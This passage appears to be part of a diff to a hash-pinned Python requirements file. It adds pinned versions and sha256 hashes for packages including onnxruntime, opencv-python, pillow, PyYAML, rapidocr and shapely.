--hash=sha256:5fbf7141bbfd63aea22f435c9062a032b9ea0082fe9845dad7f021d3f1234e71 --hash=sha256:3573cd22564692a5b899ec344e5d5b9cc4576f2985b96f22af3564ed54f2710f --hash=sha256:6c109eac9cd439193678f69d70733c1108487546ca8eafc107b510ae10c1aecd --hash=sha256:80d6ef6e8620eb2c2b4c4caad50b5935d6db3cde2d51581b55dcc79e14016d1d --hash=sha256:77045a4b175bbf5316ec08003880804336c78f92281a1b72222b274ea85ec5ac --hash=sha256:0f02a46e49cfb6c73bdb7aea1c0d3461dbae9aba613542b65f657cd3d17b9fab --hash=sha256:ad62a416ddcf863bf44bba76fbf6b53366ab0692e294f51cae4b5fbe0d246788 --hash=sha256:38f47be9f74ab870d2633b5456ae519c43758a8d1fd05342f0ce4ecc034396ee --hash=sha256:7a14a461d9340f1b46b8648578aed9cdb8b3b018a8fac6c1dde2c9192a01a87f --hash=sha256:298eca75243f2cbbfdb460560b9fb2a1792a33cf2ab4286efd43d92e8d3df508 --hash=sha256:332f3378fe077dd850e677ec01bdcc4f22368fb5d50ef10b2c79230b1bf5a592 --hash=sha256:d4cccbbc78717966f764cd3af4fb70276fa01fc7a2688af11c78901fa5c04f05 +omegaconf==2.4.0 --hash=sha256:f141a664c777582405e3cc6e0545ecc79429e79f844995b1a6e71c35946a025c +onnxruntime==1.24.4 --hash=sha256:0bdfce8e9a6497cec584aab407b71bf697dac5e1b7b7974adc50bf7533bdb3a2 --hash=sha256:046ff290045a387676941a02a8ae5c3ebec6b4f551ae228711968c4a69d8f6b7 --hash=sha256:e54ad52e61d2d4618dcff8fa1480ac66b24ee2eab73331322db1049f11ccf330 --hash=sha256:b43b63eb24a2bc8fc77a09be67587a570967a412cccb837b6245ccb546691153 --hash=sha256:e26478356dba25631fb3f20112e345f8e8bf62c499bb497e8a559f7d69cf7e7b --hash=sha256:cad1c2b3f455c55678ab2a8caa51fb420c25e6e3cf10f4c23653cdabedc8de78 --hash=sha256:1a5c5a544b22f90859c88617ecb30e161ee3349fcc73878854f43d77f00558b5 --hash=sha256:0d640eb9f3782689b55cfa715094474cd5662f2f137be6a6f847a594b6e9705c --hash=sha256:535b29475ca42b593c45fbb2152fbf1cdf3f287315bf650e6a724a0a1d065cdb --hash=sha256:e6214096e14b7b52e3bee1903dc12dc7ca09cb65e26664668a4620cc5e6f9a90 --hash=sha256:e99a48078baaefa2b50fe5836c319499f71f13f76ed32d0211f39109147a49e0 --hash=sha256:dc4aaed1e5e1aaacf2343c838a30a7c3ade78f13eeb16817411f929d04040a13 --hash=sha256:e30c972bc02e072911aabb6891453ec73795386c0af2b761b65444b8a4c4745f --hash=sha256:1700f559c8086d06b2a4d5de51e62cb4ff5e2631822f71a36db8c72383db71ee --hash=sha256:4c74e268dc808e61e63784d43f9ddcdaf50a776c2819e8bd1d1b11ef64bf7e36 --hash=sha256:3b6ba8b0181a3aa88edab00eb01424ffc06f42e71095a91186c2249415fcff93 --hash=sha256:71d6a5c1821d6e8586a024000ece458db8f2fc0ecd050435d45794827ce81e19 --hash=sha256:fbff2a248940e3398ae78374c5a839e49a2f39079b488bc64439fa0ec327a3e4 --hash=sha256:e2b7969e72d8cb53ffc88ab6d49dd5e75c1c663bda7be7eb0ece192f127343d1 --hash=sha256:14ed1f197fab812b695a5eaddb536c635e58a2fbbe50a517c78f082cc6ce9177 --hash=sha256:aa12ddc54c9c4594073abcaa265cd9681e95fb89dae982a6f508a794ca42e661 --hash=sha256:e1cc6a518255f012134bc791975a6294806be9a3b20c4a54cca25194c90cf731 --hash=sha256:311e309f573bf3c12aa5723e23823077f83d5e412a18499d4485c7eb41040858 --hash=sha256:3f0b910e86b759a4732663ec61fd57ac42ee1b0066f68299de164220b660546d +opencv-python==5.0.0.93 --hash=sha256:198a75138241810206a17c829dbcc40a7cb1841cda538ca86cbbfc6c7d95f898 --hash=sha256:6bbc32f59e1b1a7db7b39c81f63d00625f041d333037fd8702f6da52cc39108b --hash=sha256:e2b4272e736836f66c2d176e43ab8101f3a00d45654916399f52e150c58981ac --hash=sha256:f8b6d0a212253dd26ad338c812f1f23ca118fdf05a9c8c6b9444f161aa8c5881 --hash=sha256:08d5d91d967b58d6db86073b2ad3eaef88ca4ebdfd45c9059bf59f5ded0c7ad2 --hash=sha256:c8de2dec111122a02e8beb28e16c31904992dfd6186560b142a92c71403c1039 --hash=sha256:4b4b1a34c79bf8d3738e3cfe9a9e67b51a79663f6b692cbdad8c31f570da4157 --hash=sha256:f90ba04b8f73bc5c3814037699739f0156f597338a98f05956c684e7c3ca10d2 +packaging==26.3 --hash=sha256:d7193f7c8e4e93f444fde0262bf90af30e16fa0ad0ad44cb553c87339b23cd1c +pillow==12.3.0 --hash=sha256:6c0016e7b354317c4e9e525b937ac8596c38d2d232b419529b9cd7a1cd46e39a --hash=sha256:bcc33feacfaefce60c12fd500a277533bdc02b10a19f7f6d348763d8140bbba7 --hash=sha256:5594fc43d548a7ed94949d139aa1341b270f1863f11cfd37f5a6c8b778a6b67f --hash=sha256:f0606c8bf2cdefea14a43530f7657cbbb7ecf1c4222512492ef4a4434a9501ec --hash=sha256:85f998ea1848bc6757289e739cfbdda3a04adfd58b02fc018ce54d754a5ce468 --hash=sha256:25b9b82bb22e6e2b3cd07b39c68b7b862001226cb3dff7130d1cb914121b39ed --hash=sha256:37dc8f7bbb66efe481bb60defacef820c950c24713fb44962ed6aa2a50966de1 --hash=sha256:300557495eb45ebb8aec96c2da9c4be642fbf7cd937278b4013ba894ea8eb0eb --hash=sha256:514435a37670e3e5e08f3945b68718b6ed329bb84367777e16f9f4dfe1e61a0f --hash=sha256:00808c5e14ef63ac5161091d242999076604ff74b883423a11e5d7bbb38bf756 --hash=sha256:37d6d0a00072fd2948eb22bce7e1475f34569d90c87c59f7a2ec59541b77f7a6 --hash=sha256:bcb46e2f9feff8d06323983bd83ed00c201fdcab3d74973e7072a889b3979fcd --hash=sha256:23d27a3e0307ec2244cc51e7287b919aa68d097504ebe19df4e76a98a3eea5bd --hash=sha256:4f883547d4b7f0495ebe7056b0cc2aea76094e7a4abc8e933540f3271df27d9c --hash=sha256:236ff70b9312fb68943c703aa842ca6a758abfa45ac187a5e7c1452e96ef72b5 --hash=sha256:10e41f0fbf1eec8cfd234b8fe17a4caac7c9d0db4c204d3c173a8f9f6ef3232b --hash=sha256:8e95e1385e4998ae9694eeaa4730ba5457ff61185b3a55e2e7bea0880aef452a --hash=sha256:ebaea975e03d3141d9d3a507df75c9b3ec90fa9d2ffd07567b3a978d9d790b26 --hash=sha256:ba09209fbe443b4acccebe845d8a138b89a8f4fbaeedd44953490b5315d5e965 --hash=sha256:ffd0c5368496f41b0944be820fcb7a838aa6e623d250b01acf2643939c3f99d7 --hash=sha256:d9c7f76c0673154f044e9d78c8655fb4213f6ca31a836df48b40fe5d187717b9 --hash=sha256:78cb2c6865a35ab8ff8b75fd122f6033b92a62c82801110e48ddd6c936a45d91 --hash=sha256:e491916b378fba47242221bb9ead245211b70d504f495d105d17b14a24b4907c --hash=sha256:0dd2064cbc55aaec028ef5fbb60fa47bb6c3e7918e07ff17935284b227a9d2df --hash=sha256:dbce0b29841537a2fa4a214c2bbf14de3587c9680caa9b4e217568472490b28f --hash=sha256:a2b55dd6b2a4c4b7d87ffa56bdb33fdc5fdb9a462173861a7bc097f17d91cb09 --hash=sha256:331b624368d4f1d069149002f25f44bc61c8919ce8ddb3c45bdad8f6e2d89510 --hash=sha256:21900ce7ba264168cd50defae43cd75d25c833ad4ad6e73ffc5596d12e25ac89 --hash=sha256:4e8c2a84d977f50b9daed6eeaf3baef67d00d5d74d932288f02cb94518ee3ace --hash=sha256:ae26d61dfa7a47befdc7572b521024e8745f3d809bd95ca9505a7bba9ef849ec --hash=sha256:7a743ff716f746fc19a9557f60dab1600d4613255f8a7aeb3cdde4db7eb15a66 --hash=sha256:d69141514cc30b774ceea5e3ed3a6635c8d8a96edf664689b890f4089111fb35 --hash=sha256:f7401aebd7f581d7f83a439d87d474999317ee099218e5ad25d125290990ba65 --hash=sha256:0847a763afefb695bc912d7c131e7e0632d4edc1d8698f58ddabec8e46b8b6d3 --hash=sha256:571b9fcb07b97ef3a492028fb3d2dc0993ca23a06138b0315286566d29ef718a --hash=sha256:756c768d0c9c2955feb7a56c37ea24aea2e369f8d36a88da270b6a9f19e62b5e --hash=sha256:a876864214e136f0eb367788dbd7df045f4806801518e2cfe9e13229cfe06d8f --hash=sha256:1cca606cd25738df4ed873d5ad46bbdb3d83b5cbca291f6b4ff13a4df6b0bbe8 --hash=sha256:b629de27fda84b42cde7edef0d85f13b958b47f6e9bbcbba9b673c562a89bd8b --hash=sha256:9cf95fe4d0f84c82d282745d9bb08ad9f926efa00be4697e767b814ce40d4330 --hash=sha256:8728f216dcdb6e6d555cf971cb34076139ad74b31fc2c14da4fafc741c5f6217 --hash=sha256:a45650e8ce7fafffd731db8550230db6b0d306d181a90b67d3e6bca2f1990930 --hash=sha256:ba54cfebe86920a559a7c4d6b9050791c20513650a1952ebe3368c7dc70306f8 --hash=sha256:e158cb00350dc278f3b91551101aa7d12415a66ebf2c91d8d5ac14e56ddd3ad0 --hash=sha256:e9aeb04d6aef139de265b29683e119b638208f88cf73cdd1658aa07221165321 --hash=sha256:251bf95b67017e27b13d82f5b326234ca62d70f9cf4c2b9032de2358a3b12c7b --hash=sha256:fe3cca2e4e8a592be0f269a1ca4835c25199d9f3ce815c8491048f785b0a0198 --hash=sha256:23aceaa007d6172b02c277f0cd359c79492bbb14f7072b4ede9fbcaf20648130 --hash=sha256:164b31cd1a0490ab6efae01aa5df49da7061be0af1b30e035b6e9a1bfe34ee6e --hash=sha256:5afb51d599ea772b8365ae807ae557f18bccfe46ab261fd1c2a9ed700fc6eb17 --hash=sha256:3edce1d53195db527e0191f84b71d02022de0540bf43a16ed734ed7537b07385 --hash=sha256:bf16ba1b4d0b6b7c8e534936632270cf70eb00dbe09005bc345b2677b726855c --hash=sha256:24870b09b224f7ae3c39ed07d10e819d06f8720bc551847b1d623832b5b0e28d --hash=sha256:30f2aa603c41533cc25c05acd0da21636e84a315768feb631c937177db558931 --hash=sha256:4b0a7fe987b14c31ebda6083f74f22b561fd3739bc0ac51e019622e3d72668c7 --hash=sha256:962864dc93511324d51ddbb5b9f8731bf71675b93ca612a07441896f4688fb8c --hash=sha256:0740a512dc522224c77d9aa5a8d70d8b7d73fb91f2c21125d8d025d3b8990e45 --hash=sha256:af8d94b0db561cf68b88a267c5c44b49e134f525d0dc2cb7ed413a66bc23559a --hash=sha256:fdafc9cce40277e0f7a0feabce0ee50dd2fa1800f3b38015e51296b5e814048d --hash=sha256:e91206ee562682b51b98ef4b26a6ef48fd84e15fd4c4bc5ec768eb641d206838 --hash=sha256:0feb2e9d6ad6c9e3c06effe9d00f3f1e618a6643273576b016f591e9315a7139 --hash=sha256:9e881fca225083806662a5c43d627d215f258ff43c890f831966c7d7ba9c7402 --hash=sha256:4998562bf62a445225f22e07c896bb04b35b1b1f2eb6d760584c9c51d7a5f78c --hash=sha256:dc624f6bc473dacdf7ef7eb8678d0d08edf15cd94fad6ae5c7d6cc67a4e4902f --hash=sha256:71d6097b330eea8fd15097780c8e89cb1a8ce7838669f48c5bacd6f663dd4701 --hash=sha256:28ce87c5ab450a9dd970b52e5aca5fe63ed432d18a2eaddd1979a00a1ba24ace --hash=sha256:6b02afb9b97f65fbca5f31db6a2a3ba21aa93030225f150fa3f249717e938fb4 --hash=sha256:1182d52bc2d5e5d7d0949503aa7e36d12f42205dc287e4883f407b1988820d39 --hash=sha256:e795b7eb908249c4e43c7c99fac7c2c75dab0c43566e37db472a355f63693d71 --hash=sha256:e9871b1ffbfa9656b60aeee92ed5136a5742696006fa322b29ea3d8da0ecc9cf --hash=sha256:53aa02d20d10c3d814d536aa4e5ac9b84ca0ff5a88377963b085ad6822f93e64 --hash=sha256:446c34dcc4324b084a53b705127dc15717b22c5e140ae0a3c38349d4efec071e --hash=sha256:cf1845d02ad822a369a49f2bb9345b1614744267682e7a03527dc3bf6eea1777 --hash=sha256:186941b6aef820ad110fb01fb06eb925374dc3a21b17e37ec9a53b250c6fe2d1 --hash=sha256:f13c32a3abd6079a66d9526e18dad9b6d280384d49d7c54040cd57b6424041d9 --hash=sha256:1657923d2d45afb66526e5b933e5b3052e6bdea196c90d3abb2424e18c77dae8 --hash=sha256:8cd2f7bdda092d99c9fc2fb7391354f306d01443d22785d0cbfafa2e2c8bb418 --hash=sha256:06ff022112bc9cbf83b60f8e028d94ad87b60621706487e65f673de61610ab59 --hash=sha256:57b3d78c95ba9059768b10e28b813002261d3f3dfc55cc48b0c988f625175827 --hash=sha256:fa4ecea169a355be7a3ade2c783e2ed12f0e40d2c5621cda8b3297faf7fbb9f5 --hash=sha256:877c3f311ff35410f690861c4409e7ccbf0cd2f878e50628a28e5a0bb689e658 --hash=sha256:b3c777e849237620b022f7f297dd67705f9f5cf1685f09f02e46f93e92725468 --hash=sha256:b343699e8308bdc51978310e1c959c584e7869cc8c40780058c87da7781a1e94 --hash=sha256:fbd139c8447d25dd750ab79ee274cc5e1fe80fc56340ab10b18a195e1b6eca3e --hash=sha256:e7e480451b9fa137494bccd3a7d69adbe8ac65a87d97be61e11f1b1050a5bac3 --hash=sha256:04f01d28a6aaff387bf842a13be313df23ba0597a44f1a976c9feb3c6ff4711a +protobuf==7.36.2 --hash=sha256:cbc70b17ee27e28894c7fee8bb04be1abead49e936bc70eb60052531eee2079e --hash=sha256:e11e1f0180583a2af89db6a2ecd9e8dc40aa6d2988ca175bfd0e6d12ea72d74e --hash=sha256:f4fee11ec330d238b34a05c9b675f693c20415d1c5bd7d5320cc2f8a798eb9cf --hash=sha256:89f23aa53c24553a2416fd4fd1ec06f74fa42b14b546d8883128813f775bbfd2 --hash=sha256:912c1221170e16c08d1f086762f563dd61ff83c18b5fa6652952dfaded66f728 --hash=sha256:a300819d441e078a5608c0d3c709796bb548136058fda017ae51d425b44fd353 --hash=sha256:bdb3a345d48db958e6ce1f18e508beb0cc981d64f24088427549c866cd039f1e +pyclipper==1.4.0 --hash=sha256:bafad70d2679c187120e8c44e1f9a8b06150bad8c0aecf612ad7dfbfa9510f73 --hash=sha256:0b74a9dd44b22a7fd35d65fb1ceeba57f3817f34a97a28c3255556362e491447 --hash=sha256:0a4d2736fb3c42e8eb1d38bf27a720d1015526c11e476bded55138a977c17d9d --hash=sha256:b3b3630051b53ad2564cb079e088b112dd576e3d91038338ad1cc7915e0f14dc --hash=sha256:8d42b07a2f6cfe2d9b87daf345443583f00a14e856927782fde52f3a255e305a --hash=sha256:6a97b961f182b92d899ca88c1bb3632faea2e00ce18d07c5f789666ebb021ca4 --hash=sha256:adcb7ca33c5bdc33cd775e8b3eadad54873c802a6d909067a57348bcb96e7a2d --hash=sha256:fd24849d2b94ec749ceac7c34c9f01010d23b6e9d9216cf2238b8481160e703d --hash=sha256:1b6c8d75ba20c6433c9ea8f1a0feb7e4d3ac06a09ad1fd6d571afc1ddf89b869 --hash=sha256:58e29d7443d7cc0e83ee9daf43927730386629786d00c63b04fe3b53ac01462c --hash=sha256:a8d2b5fb75ebe57e21ce61e79a9131edec2622ff23cc665e4d1d1f201bc1a801 --hash=sha256:e9b973467d9c5fa9bc30bb6ac95f9f4d7c3d9fc25f6cf2d1cc972088e5955c01 --hash=sha256:222ac96c8b8281b53d695b9c4fedc674f56d6d4320ad23f1bdbd168f4e316140 --hash=sha256:f3672dbafbb458f1b96e1ee3e610d174acb5ace5bd2ed5d1252603bb797f2fc6 --hash=sha256:d1f807e2b4760a8e5c6d6b4e8c1d71ef52b7fe1946ff088f4fa41e16a881a5ca --hash=sha256:ce1f83c9a4e10ea3de1959f0ae79e9a5bd41346dff648fee6228ba9eaf8b3872 --hash=sha256:3ef44b64666ebf1cb521a08a60c3e639d21b8c50bfbe846ba7c52a0415e936f4 --hash=sha256:d1e5498d883b706a4ce636247f0d830c6eb34a25b843a1b78e2c969754ca9037 --hash=sha256:d49df13cbb2627ccb13a1046f3ea6ebf7177b5504ec61bdef87d6a704046fd6e --hash=sha256:37bfec361e174110cdddffd5ecd070a8064015c99383d95eb692c253951eee8a --hash=sha256:14c8bdb5a72004b721c4e6f448d2c2262d74a7f0c9e3076aeff41e564a92389f --hash=sha256:f2a50c22c3a78cb4e48347ecf06930f61ce98cf9252f2e292aa025471e9d75b1 --hash=sha256:c9a3faa416ff536cee93417a72bfb690d9dea136dc39a39dbbe1e5dadf108c9c --hash=sha256:d4b2d7c41086f1927d14947c563dfc7beed2f6c0d9af13c42fe3dcdc20d35832 --hash=sha256:7c87480fc91a5af4c1ba310bdb7de2f089a3eeef5fe351a3cedc37da1fcced1c --hash=sha256:81d8bb2d1fb9d66dc7ea4373b176bb4b02443a7e328b3b603a73faec088b952e --hash=sha256:773c0e06b683214dcfc6711be230c83b03cddebe8a57eae053d4603dd63582f9 --hash=sha256:9bc45f2463d997848450dbed91c950ca37c6cf27f84a49a5cad4affc0b469e39 --hash=sha256:f160a2c6ba036f7eaf09f1f10f4fbfa734234af9112fb5187877efed78df9303 --hash=sha256:a9f11ad133257c52c40d50de7a0ca3370a0cdd8e3d11eec0604ad3c34ba549e9 --hash=sha256:bbc827b77442c99deaeee26e0e7f172355ddb097a5e126aea206d447d3b26286 --hash=sha256:29dae3e0296dff8502eeb7639fcfee794b0eec8590ba3563aee28db269da6b04 --hash=sha256:0b8c2105b3b3c44dbe1a266f64309407fe30bf372cf39a94dc8aaa97df00da5b --hash=sha256:6c317e182590c88ec0194149995e3d71a979cfef3b246383f4e035f9d4a11826 --hash=sha256:98b2a40f98e1fc1b29e8a6094072e7e0c7dfe901e573bf6cfc6eb7ce84a7ae87 +pypdf==6.20.1 --hash=sha256:aa5a55ddcffdc5e5ab291d5decb23f6383f4e56f8e3263dc39af41fff03885ad +PyYAML==6.0.3 --hash=sha256:214ed4befebe12df36bcc8bc2b64b396ca31be9304b8f59e25c11cf94a4c033b --hash=sha256:02ea2dfa234451bbb8772601d7b8e426c2bfa197136796224e50e35a78777956 --hash=sha256:b30236e45cf30d2b8e7b3e85881719e98507abed1011bf463a8fa23e9c3e98a8 --hash=sha256:66291b10affd76d76f54fad28e22e51719ef9ba22b29e1d7d03d6777a9174198 --hash=sha256:9c7708761fccb9397fe64bbc0395abcae8c4bf7b0eac081e12b809bf47700d0b --hash=sha256:418cf3f2111bc80e0933b2cd8cd04f286338bb88bdc7bc8e6dd775ebde60b5e0 --hash=sha256:5e0b74767e5f8c593e8c9b5912019159ed0533c70051e9cce3e8b6aa699fcd69 --hash=sha256:28c8d926f98f432f88adc23edf2e6d4921ac26fb084b028c733d01868d19007e --hash=sha256:bdb2c67c6c1390b63c6ff89f210c8fd09d9a1217a465701eac7316313c915e4c --hash=sha256:44edc647873928551a01e7a563d7452ccdebee747728c1080d881d68af7b997e --hash=sha256:652cb6edd41e718550aad172851962662ff2681490a8a711af6a4d288dd96824 --hash=sha256:10892704fc220243f5305762e276552a0395f7beb4dbf9b14ec8fd43b57f126c --hash=sha256:850774a7879607d3a6f50d36d04f00ee69e7fc816450e5f7e58d7f17f1ae5c00 --hash=sha256:b8bb0864c5a28024fac8a632c443c87c5aa6f215c0b126c449ae1a150412f31d --hash=sha256:1d37d57ad971609cf3c53ba6a7e365e40660e3be0e5175fa9f2365a379d6095a --hash=sha256:37503bfbfc9d2c40b344d06b2199cf0e96e97957ab1c1b546fd4f87e53e5d3e4 --hash=sha256:8098f252adfa6c80ab48096053f512f2321f0b998f98150cea9bd23d83e1467b --hash=sha256:9f3bfb4965eb874431221a3ff3fdcddc7e74e3b07799e0e84ca4a0f867d449bf --hash=sha256:7f047e29dcae44602496db43be01ad42fc6f1cc0d8cd6c83d342306c32270196 --hash=sha256:fc09d0aa354569bc501d4e787133afc08552722d3ab34836a80547331bb5d4a0 --hash=sha256:9149cad251584d5fb4981be1ecde53a1ca46c891a79788c0df828d2f166bda28 --hash=sha256:5fdec68f91a0c6739b380c83b951e2c72ac0197ace422360e6d5a959d8d97b2c --hash=sha256:ba1cc08a7ccde2d2ec775841541641e4548226580ab850948cbfda66a1befcdc --hash=sha256:8dc52c23056b9ddd46818a57b78404882310fb473d63f17b07d5c40421e47f8e --hash=sha256:41715c910c881bc081f1e8872880d3c650acf13dfa8214bad49ed4cede7c34ea --hash=sha256:96b533f0e99f6579b3d4d4995707cf36df9100d67e0c8303a0c55b27b5f99bc5 --hash=sha256:5fcd34e47f6e0b794d17de1b4ff496c00986e1c83f7ab2fb8fcfe9616ff7477b --hash=sha256:64386e5e707d03a7e172c0701abfb7e10f0fb753ee1d773128192742712a98fd --hash=sha256:8da9669d359f02c0b91ccc01cac4a67f16afec0dac22c2ad09f46bee0697eba8 --hash=sha256:2283a07e2c21a2aa78d9c4442724ec1eb15f5e42a723b99cb3d822d48f5f7ad1 --hash=sha256:ee2922902c45ae8ccada2c5b501ab86c36525b883eff4255313a253a3160861c --hash=sha256:a33284e20b78bd4a18c8c2282d549d10bc8408a2a7ff57653c0cf0b9be0afce5 --hash=sha256:0f29edc409a6392443abf94b9cf89ce99889a1dd5376d94316ae5145dfedd5d6 --hash=sha256:f7057c9a337546edc7973c0d3ba84ddcdf0daa14533c2065749c9075001090e6 --hash=sha256:eda16858a3cab07b80edaf74336ece1f986ba330fdb8ee0d6c0d68fe82bc96be --hash=sha256:d0eae10f8159e8fdad514efdc92d74fd8d682c933a6dd088030f3834bc8e6b26 --hash=sha256:79005a0d97d5ddabfeeea4cf676af11e647e41d81c9a7722a193022accdb6b7c --hash=sha256:5498cd1645aa724a7c71c8f378eb29ebe23da2fc0d7a08071d89469bf1d2defb --hash=sha256:8d1fab6bb153a416f9aeb4b8763bc0f22a5586065f86f7664fc23339fc1c1fac --hash=sha256:34d5fcd24b8445fadc33f9cf348c1047101756fd760b4dacb5c3e99755703310 --hash=sha256:501a031947e3a9025ed4405a168e6ef5ae3126c59f90ce0cd6f2bfc477be31b7 --hash=sha256:b3bc83488de33889877a0f2543ade9f70c67d66d9ebb4ac959502e12de895788 --hash=sha256:c458b6d084f9b935061bc36216e8a69a7e293a2f1e68bf956dcd9e6cbcd143f5 --hash=sha256:7c6610def4f163542a622a73fb39f534f8c101d690126992300bf3207eab9764 --hash=sha256:5190d403f121660ce8d1d2c1bb2ef1bd05b5f68533fc5c2ea899bd15f4399b35 --hash=sha256:02893d100e99e03eda1c8fd5c441d8c60103fd175728e23e431db1b589cf5ab3 --hash=sha256:c1ff362665ae507275af2853520967820d9124984e0f7466736aea23d8611fba --hash=sha256:6adc77889b628398debc7b65c073bcb99c4a0237b248cacaf3fe8a557563ef6c --hash=sha256:a80cb027f6b349846a3bf6d73b5e95e782175e52f22108cfa17876aaeff93702 --hash=sha256:00c4bdeba853cc34e7dd471f16b4114f4162dc03e6b7afcc2128711f0eca823c --hash=sha256:66e1674c3ef6f541c35191caae2d429b967b99e02040f5ba928632d9a7f0f065 --hash=sha256:16249ee61e95f858e83976573de0f5b2893b3677ba71c9dd36b9cf8be9ac6d65 --hash=sha256:4ad1906908f2f5ae4e5a8ddfce73c320c2a1429ec52eafd27138b7f1cbe341c9 --hash=sha256:ebc55a14a21cb14062aa4162f906cd962b28e2e9ea38f9b4391244cd8de4ae0b --hash=sha256:4a2e8cebe2ff6ab7d1050ecd59c25d4c8bd7e6f400f5f82b96557ac0abafd0ac --hash=sha256:93dda82c9c22deb0a405ea4dc5f2d0cda384168e466364dec6255b293923b2f3 --hash=sha256:c2514fceb77bc5e7a2f7adfaa1feb2fb311607c9cb518dbc378688ec73d8292f --hash=sha256:9c57bb8c96f6d1808c030b1687b9b5fb476abaa47f0db9c0101f5e9f394e97f4 --hash=sha256:efd7b85f94a6f21e4932043973a7ba2613b059c4a000551892ac9f1d11f5baf3 --hash=sha256:22ba7cfcad58ef3ecddc7ed1db3409af68d023b7f940da23c6c2a1890976eda6 --hash=sha256:6344df0d5755a2c9a276d4473ae6b90647e216ab4757f8426893b5dd2ac3f369 --hash=sha256:3ff07ec89bae51176c0549bc4c63aa6202991da2d9a6129d7aef7f1407d3f295 --hash=sha256:5cf4e27da7e3fbed4d6c3d8e797387aaad68102272f8f9752883bc32d61cb87b --hash=sha256:b865addae83924361678b652338317d1bd7e79b1f4596f96b96c77a5a34b34da --hash=sha256:c3355370a2c156cffb25e876646f149d5d68f5e0a3ce86a5084dd0b64a994917 --hash=sha256:3c5677e12444c15717b902a5798264fa7909e41153cdf9ef7ad571b704a63dd9 --hash=sha256:5ed875a24292240029e4483f9d4a4b8a1ae08843b9c54f43fcc11e404532a8a5 --hash=sha256:0150219816b6a1fa26fb4699fb7daa9caf09eb1999f3b70fb6e786805e80375a --hash=sha256:fa160448684b4e94d80416c0fa4aac48967a969efe22931448d853ada8baf926 --hash=sha256:27c0abcb4a5dac13684a37f76e701e054692a9b2d3064b70f5e4eb54810553d7 --hash=sha256:1ebe39cb5fc479422b83de611d14e2c0d3bb2a18bbcb01f229ab3cfbd8fee7a0 --hash=sha256:2e71d11abed7344e42a8849600193d15b6def118602c4c176f748e4583246007 +rapidocr==3.8.1 --hash=sha256:650044b1fbce9e6bae5cae462dcf8be754cde11e2f23fc51f65dcc08deae2c46 +requests==2.34.2 --hash=sha256:2a0d60c172f83ac6ab31e4554906c0f3b3588d37b5cb939b1c061f4907e278e0 +shapely==2.2.0 --hash=sha256:596b7994ceafa526b6e0522ca29fbc41d19f86459161d6efe1f251d0acd49f3f --hash=sha256:7c0b262116bb75b86751440b42e19673911bc0a8f0d5ce723ce294c3d6e4d5c0 --hash=sha256:7765e0e5d51d63eae0a911861cbda87165a01677bc9bce6ed20d06858ccde99f --hash=sha256:5d61088e2ef71dafad0dd4fae8a521cc1f20da4a89d3096bab5b3260b39b3052 --hash=sha256:0edec813c81effaf4e20c18b1aa86827925ce27c0315621f2a1a080e22e0de5e --hash=sha256:8d6ffe94710f37535a47161120cd5f7f0f0d9bb800c2fddebbd089cb7f1b3453 --hash=sha256:ce858295be3947143a3f44f145fa6dbacd5dcc5c4103801d42cd3be4a2034614 --hash=sha256:806d399418b23eee7241736d572ad1e0b784782f9241d7c8e2cfceb00787831d --hash=sha256:5b740c9a197e5feb30bdc6e64a5eb3ca2a7324d11498844136dfc317daac6a99 --hash=sha256:626fe4c0d32860a98e75ecffabf5a62254c6168eac96b633ad313cd62a38bb2b --hash=sha256:c36ccbff5c3374c349c370bfdac22c7676b268b4a707c98e9031f498965aa02d --hash=sha256:a9a380624cdd7a7e661bf15a4d1625082766f07ccd2540cb0a9e0df1ad4f6c11 --hash=sha256:650a5f4d8a8e3c96982079d8c99b6ddbe6602bbd1e34c75c2b95dbc0d28ac997 --hash=sha256:a851e077f0f02a3383923e02eca5447a29ddbf234e39593b91c8b7ac75218133 --hash=sha256:dc5faa593948aa64d9afae48331b80f43f7aacc68425d99064a4d6772f53f1ad --hash=sha256:da47a0cc9e630b4dff0db46e8972b29d2d27f337425ce9d4c77fd046ce48eabd --hash=sha256:90895df6542ae039fc6557dec6194e3509e883fbd6f5788e3c3e7a38fe46b257 --hash=sha256:7cf5b3a801b9b4febf774efde2e31280e647388deae8452693d8e6420b3a1ff2 --hash=sha256:c037369c35510f51100dd6d386ee3203bac32f164d53e27ca12c3cea5bb643b1 --hash=sha256:d75957716368f919c63016dae1977a0d007e15f06861cd178701edb91b08d2b0 --hash=sha256:4ed79beb8d4b6cc7c67780fd381feed25848a5f9b8a2385ac5711eccd115647a --hash=sha256:f340e7f99aaee3df5acd6b247cddf723051a7c93d1e1ef09025b80d84e4c0ded --hash=sha256:17434cb9819c9974c3331333a3b878fa5bf8f85dd69cc3fb7ff5d260f6fbc102 --hash=sha256:b2338ac40e6652c8bfb857936ea9be9a16f43a362c6f67eb3bad741b05fd5683 --hash=sha256:40871d7135cd723f965d200181aa28418e9ec029fd85bdd010488259d1c01906 --hash=sha256:1eaa2cb64cdedaf65d6bc86f2819c9cd7d6d68f969aa3ebfdc93743ab581f437 --hash=sha256:f79b3b34ad2d067207f21f821489c720b14ce40f3bfda931987a193165f80133 --hash=sha256:000c0ce2a3ba49427e6288b7add9de5d8525d4e65d6ebc8840103040d4d57b86 --hash=sha256:0a63e6b68ec785ef3aae3935c4aa9fb8edccced94e23c79d5d85276442c60859 --hash=sha256:770d4db5cf0bfeed931a1c4aaf4f4eadad0f43f5fc72c27c88fe1f07904ae767 --hash=sha256:74f4313af38d6e49ea83532d6cedfb4fe5e6c5485d7c40202bd61b19d6ff09bf --hash=sha256:9ee11aeba1759d15a525ded58e17916d3edfa60d52110fd8df6a7609a871f066 --hash=sha256:24b175c570efc91d1180ac6cd527dc80e863bb7de37f8b2771703d822c65e023 --hash=sha256:c2915ae1b858e73d5832be7fb5e89497cc5140fa505da40a45223029dc6deace --hash=sha256:74028f468e05e461b30a479b08c1fb5094fa45062abeeec8e7905a6711761436 --hash=sha256:6ec5178a39803fa8626322f69d298037f182461dd28e3ae96c2c7a4309a6bf30 --hash=sha256:593e51cd04fe1122f1ab3fae87b306c36b2be0184a5e0d9c26849c55ff4580dc --hash=sha256:3575a323b7665d7a2e391b16a626caa6b6f6348f399183aca3fc656febd7cf04 --hash=sha256:776cc8571d53e42be8fa6d42ad52a599b8e2186dd0c752922831508099af71e2 --hash=sha256:f8cd733a66a2a10f461a70dde9fad7b2b62c6a48c7a66cea57ee6f1cd9f2bd2f --hash=sha256:7f68c1fbacab81c0c066d1c3051eeb0f680b7a7a2c511e741f77741640187896 --hash=sha256:9147ebc3b116a0511dca043937f85caf1a41690815643d5b89c8bc472f51c850 --hash=sha256:4e5830637c080bdc646c5982ad6f7cc296b93038879649f7a6acd8e0f1c4db04 